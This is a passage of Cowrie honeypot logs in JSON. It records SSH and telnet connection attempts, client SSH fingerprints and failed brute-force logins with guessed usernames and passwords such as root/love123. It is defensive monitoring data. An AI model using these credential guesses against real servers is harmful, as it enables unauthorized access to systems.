es128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:08.670761Z","src_ip":"139.59.4.137","session":"08ce74f3e212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"love123","message":"login attempt [root/love123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:09.554738Z","src_ip":"139.59.4.137","session":"08ce74f3e212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":34446,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9fe03499aa7","protocol":"ssh","message":"New connection: 162.240.75.182:34446 (159.203.135.109:22) [session: a9fe03499aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:10.197212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:10.203327Z","src_ip":"162.240.75.182","session":"a9fe03499aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:10.285905Z","src_ip":"162.240.75.182","session":"a9fe03499aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gavin789","message":"login attempt [root/gavin789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:10.537802Z","src_ip":"162.240.75.182","session":"a9fe03499aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:10.769716Z","src_ip":"139.59.4.137","session":"08ce74f3e212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":45490,"dst_ip":"159.203.135.109","dst_port":22,"session":"03948dacfda3","protocol":"ssh","message":"New connection: 67.231.24.5:45490 (159.203.135.109:22) [session: 03948dacfda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:12.340208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:12.345525Z","src_ip":"67.231.24.5","session":"03948dacfda3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:12.364753Z","src_ip":"67.231.24.5","session":"03948dacfda3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thegraph123","message":"login attempt [root/thegraph123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:12.432202Z","src_ip":"67.231.24.5","session":"03948dacfda3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:13.057302Z","src_ip":"162.240.75.182","session":"a9fe03499aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:13.452742Z","src_ip":"67.231.24.5","session":"03948dacfda3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":56590,"dst_ip":"10.17.0.5","dst_port":22,"session":"86de82aadea8","protocol":"ssh","message":"New connection: 192.169.244.109:56590 (10.17.0.5:22) [session: 86de82aadea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:20.477655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:20.481441Z","src_ip":"192.169.244.109","session":"86de82aadea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:20.549860Z","src_ip":"192.169.244.109","session":"86de82aadea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"germany","password":"Berlin#Ethereum@P@ss","message":"login attempt [germany/Berlin#Ethereum@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:20.750191Z","src_ip":"192.169.244.109","session":"86de82aadea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:21.821318Z","src_ip":"192.169.244.109","session":"86de82aadea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":33726,"dst_ip":"159.203.135.109","dst_port":22,"session":"6db6c49b1afa","protocol":"ssh","message":"New connection: 162.214.22.174:33726 (159.203.135.109:22) [session: 6db6c49b1afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:31.570660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:31.576474Z","src_ip":"162.214.22.174","session":"6db6c49b1afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:31.659275Z","src_ip":"162.214.22.174","session":"6db6c49b1afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iotex","password":"iotex789","message":"login attempt [iotex/iotex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:31.908832Z","src_ip":"162.214.22.174","session":"6db6c49b1afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:41.828035Z","src_ip":"162.214.22.174","session":"6db6c49b1afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58194,"dst_ip":"10.17.0.5","dst_port":22,"session":"65e3bb736885","protocol":"ssh","message":"New connection: 38.93.206.2:58194 (10.17.0.5:22) [session: 65e3bb736885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:02.330413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:02.334265Z","src_ip":"38.93.206.2","session":"65e3bb736885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:02.385203Z","src_ip":"38.93.206.2","session":"65e3bb736885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"excite","message":"login attempt [root/excite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:02.545896Z","src_ip":"38.93.206.2","session":"65e3bb736885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:03.598462Z","src_ip":"38.93.206.2","session":"65e3bb736885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":32944,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf9a9a1f71b6","protocol":"ssh","message":"New connection: 139.59.4.137:32944 (159.203.135.109:22) [session: bf9a9a1f71b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:50.794593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:50.798501Z","src_ip":"139.59.4.137","session":"bf9a9a1f71b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:51.007656Z","src_ip":"139.59.4.137","session":"bf9a9a1f71b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot1","password":"ts3bot","message":"login attempt [ts3bot1/ts3bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:51.876926Z","src_ip":"139.59.4.137","session":"bf9a9a1f71b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:31:53.089219Z","src_ip":"139.59.4.137","session":"bf9a9a1f71b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":60730,"dst_ip":"159.203.135.109","dst_port":22,"session":"c263c7ab16c4","protocol":"ssh","message":"New connection: 192.163.244.125:60730 (159.203.135.109:22) [session: c263c7ab16c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:32:46.334593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:32:46.337853Z","src_ip":"192.163.244.125","session":"c263c7ab16c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:32:46.414869Z","src_ip":"192.163.244.125","session":"c263c7ab16c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fet","password":"fet123","message":"login attempt [fet/fet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:32:46.650329Z","src_ip":"192.163.244.125","session":"c263c7ab16c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":35738,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb9a1d4a66a5","protocol":"telnet","message":"New connection: 50.62.181.92:35738 (10.17.0.5:23) [session: cb9a1d4a66a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:32:47.282500Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:32:47.730022Z","src_ip":"192.163.244.125","session":"c263c7ab16c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":55768,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d1821aa959","protocol":"telnet","message":"New connection: 50.62.181.92:55768 (10.17.0.5:23) [session: c0d1821aa959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:02.523791Z"}
{"eventid":"cowrie.session.closed","duration":31.4474995136261,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:18.729904Z","src_ip":"50.62.181.92","session":"cb9a1d4a66a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":47602,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca0eb86634a8","protocol":"ssh","message":"New connection: 166.62.89.133:47602 (10.17.0.5:22) [session: ca0eb86634a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:20.921906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:20.926129Z","src_ip":"166.62.89.133","session":"ca0eb86634a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 